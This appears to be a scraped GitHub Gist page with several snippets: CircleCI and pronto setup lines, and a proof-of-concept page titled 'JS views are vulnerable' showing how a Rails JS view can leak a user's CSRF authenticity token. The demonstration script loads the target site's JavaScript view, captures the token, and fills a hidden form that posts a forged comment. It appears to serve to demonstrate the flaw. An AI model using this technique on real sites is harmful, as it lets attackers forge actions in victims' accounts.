Skip to content

Instantly share code, notes, and snippets.

View MaksimAbramchuk's full-sized avatar

Maksim Abramchuk MaksimAbramchuk

View GitHub Profile
export GITHUB_ACCESS_TOKEN=<your_github_access_token>
export PULL_REQUEST_URL=${CI_PULL_REQUEST}
export PULL_REQUEST_ID=`echo $PULL_REQUEST_URL | grep -o -E ‘[0–9]+$’ | head -1 | sed -e ‘s/^0\+//’`
((bin/bundle exec pronto run -f github_pr -c origin/master)) || true
dependencies:
post:
— bin/cisetup
checkout:
post:
— git fetch origin — depth=1000000
$PULL_REQUEST_URL | grep -o -E ‘[0–9]+$’ | head -1 | sed -e ‘s/^0\+//’
document.addEventListener(‘DOMContentLoaded’, function () { document.getElementById(‘token’).value = token; }, false);
getSecureInfo = function (html) {
matches = html.match(/name=”authenticity_token” type=”hidden” value=”(.*)”/);
token = matches[1];
document.getElementById(‘token’).value = token;
};
document.write(‘<script src=”http://example.com/users/maximabramchuk/books/new.js"></script>');
var _document = document;
var token = ‘’;
getSecureInfo = function (html) {
matches = html.match(/name=”authenticity_token” type=”hidden” value=”(.*)”/);
token = matches[1];
document.getElementById(‘token’).value = token;
};
function $() {
$(“.wrapper.dev”).after(“<%= escape_javascript(render(:partial => @partial))%>”)
<html>
<head>
<script type=”text/javascript” src=”index.js”></script>
<title>JS views are vulnerable</title>
</head>
<body>
<form action=”http://example.com/comments" method=”POST”>
<input id=”token” type=”hidden” name=”authenticity_token” value=””>
<input type=”hidden” name=”comment[model_id]” value=”76678">
<input type=”hidden” name=”comment[body]” value=”I’m a cool hacker!”>